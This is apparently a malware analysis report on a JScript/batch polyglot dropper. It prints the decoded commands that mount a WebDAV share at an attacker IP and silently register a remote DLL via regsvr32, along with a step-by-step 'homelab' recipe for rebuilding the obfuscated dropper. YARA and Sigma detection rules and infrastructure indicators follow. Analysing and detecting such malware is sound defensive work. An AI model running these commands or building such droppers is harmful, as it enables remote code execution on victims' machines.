unclassified-js-webdav-dropper: 6f1d7c74 — 42nd sibling, polyglot JScript/batch with shared-prefix SET obfuscation

Executive Summary

A JScript/batch polyglot dropper (5.9 KB) that uses a 62-entry shared-prefix (edlcdp) variable dictionary in both batch SET and JScript object form. The JScript layer self-replicates to %userprofile%\mqxhrg.bat and executes the batch layer, which mounts a WebDAV share at 45.9.74.13:8888 and silently registers 569.dll via regsvr32 /s. This is the 42nd confirmed sibling of the unclassified-js-webdav-dropper cluster. Static-only analysis (CAPE skipped — script, not a binary).

What It Is

This sample is a near-identical twin to the first observed sibling da58243c (polyglot JScript/batch, shared-prefix SET obfuscation, 62 entries, C2 45.9.74.13:8888). The only deltas are the SET prefix (edlcdp vs prior prefixes), payload filename (569.dll), and staging filename (mqxhrg.bat).

How It Works

Polyglot Structure

Lines 1–66 form a valid batch script when the file is saved as .bat and executed by cmd.exe:

• Lines 1–63: SET edlcdp<suffix>=<char> declarations (62 entries) ^[strings.txt:1-63]
• Lines 64–65: Batch commands using %var% expansion to assemble net use and regsvr32 /s calls
• Line 66: */ //edlcdp — closes the JScript comment block that began on line 1

Lines 67+ form a valid JScript payload when the file is saved as .js and executed by wscript.exe:

• The JScript engine sees /* ... */ (lines 1–66) as a comment block
• Line 67+: edlcdp=[] dictionary with 62 entries, try/catch decoy, and Function constructor assembly

JScript Self-Replication

The JScript catch block assembles the following command via dictionary lookups:

WScript.Shell.Run('cmd /k copy "ScriptFullName" "%userprofile%\mqxhrg.bat" && "%userprofile%\mqxhrg.bat"', 0, false)

This copies the .js file to %userprofile%\mqxhrg.bat and executes it as batch with WindowStyle = 0 (hidden). The batch layer then executes the WebDAV mount and DLL registration.

Batch Execution Chain

Decoded batch commands:

net use \45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \45.9.74.13@8888\DavWWWRoot\569.dll

^[strings.txt:64-65] (decoded via batch variable expansion)

No PowerShell wrapper, no wordpad decoy, no sandbox gate.

Decompiled Behavior

Not applicable — this is a script, not a compiled binary. No Ghidra or radare2 analysis possible. Static deobfuscation was performed via Python regex substitution of the shared-prefix dictionary.

C2 Infrastructure

No domains used — direct IP-based WebDAV. This C2 IP (45.9.74.13) is shared with siblings da58243c and b910d575. ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]

Interesting Tidbits

• Same-prefix batch/JS dictionary: The batch variables (SET edlcdp...) and JScript dictionary keys (edlcdp['...']) share the same prefix (edlcdp), suggesting the generator uses a single obfuscation pass for both layers. This is distinct from siblings that use completely unrelated batch and JS variable names.
• No sandbox gate: Unlike the unclassified-js-dropper cluster, this family never checks for aspnet_compiler, VM artifacts, or analyst tools. It executes immediately on any Windows host with WSH enabled.
• Self-replication as persistence mechanism: By copying to %userprofile%, the payload ensures it survives in a predictable location if the original lure file is deleted. No registry or scheduled-task persistence is added.
• Tiny payload: 5.9 KB for 62 entries plus execution chain — the generator is extremely compact.
• try{edlcdp();}catch(e){...} decoy: The try block calls edlcdp() (the array object, not a function), which always throws. This forces the catch path without needing an undefined function name.

How To Mess With It (Homelab Replication)

1. Generate the dictionary: Pick a shared prefix (e.g., xyzzy) and create 62 SET variables mapping xyzzy<suffix> to ASCII characters.
2. Encode the batch payload: Write net use and regsvr32 commands, then replace every character with %xyzzy<suffix>%.
3. Build the JScript layer: Create an xyzzy=[] object with the same 62 key/value pairs. Assemble the WScript.Shell.Run self-replication command using dictionary lookups.
4. Wrap in polyglot: Start with /* <prefix> and end the batch block with */ //<prefix>.
5. Verification: Save as .js and run on a Windows VM with WSH enabled. Observe mqxhrg.bat creation in %userprofile%.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Polyglot
{
    meta:
        description = "JScript/batch polyglot WebDAV dropper with shared-prefix SET dictionary"
        author = "PacketPursuit"
        date = "2026-07-04"
        hash = "6f1d7c74e68fc707cf97686965acedd80b8f2e809618589a2a4d4cc0fa08a36c"
        family = "unclassified-js-webdav-dropper"
    strings:
        $set_prefix = /set [a-z]{4,10}[a-z]{4,10}[a-z]{4,10}=[a-zA-Z0-9]/
        $dav_mount = "net use" nocase
        $dav_path = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
        $wscript_shell = "WScript.Shell" nocase
        $function_return = "Function(''+"
        $catch_block = "catch(e){"
    condition:
        filesize < 20KB and
        $dav_mount and
        $dav_path and
        $regsvr32 and
        #set_prefix >= 30 and
        ($wscript_shell or $function_return)
}

Behavioral Hunt Query (Sigma)

title: WebDAV DLL Registration via Regsvr32 from JScript/Batch Polyglot
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'regsvr32 /s'
            - 'DavWWWRoot'
            - 'net use'
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
            - '\cmd.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts using WebDAV for software deployment
level: high

IOC List

Behavioral Fingerprint Statement

This sample is a JScript/batch polyglot that uses a shared-prefix variable dictionary (62 entries) to obfuscate both its batch and JScript layers. When executed as .js, it self-replicates to %userprofile%\<random>.bat via WScript.Shell.Run with hidden window style. The staged batch file mounts a WebDAV share at \\<IP>@8888\DavWWWRoot\ and silently registers a remote DLL via regsvr32 /s. No sandbox gate, no persistence mechanism beyond file replication, and no PowerShell wrapper. The family shares C2 infrastructure across 45.9.74.13, 45.9.74.32, 45.9.74.36, dailywebstats.com, and cloudslimit.com on port 8888.

Detection Signatures (ATT&CK Mapping)

References

• unclassified-js-webdav-dropper — Family entity page (41 siblings prior to this sample)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• MalwareBazaar artifact ID: 58ca262b-7ee5-4336-9a41-3011a7a57c16

Provenance

• File type: file utility v12.x ^[file.txt]
• Strings: strings v2.42 ^[strings.txt]
• Triage: custom triage-fast pipeline ^[triage.json]
• Deobfuscation: Python 3.12 regex substitution of shared-prefix dictionary ^[decoded payload]
• No CAPE detonation: script file type unsupported by sandbox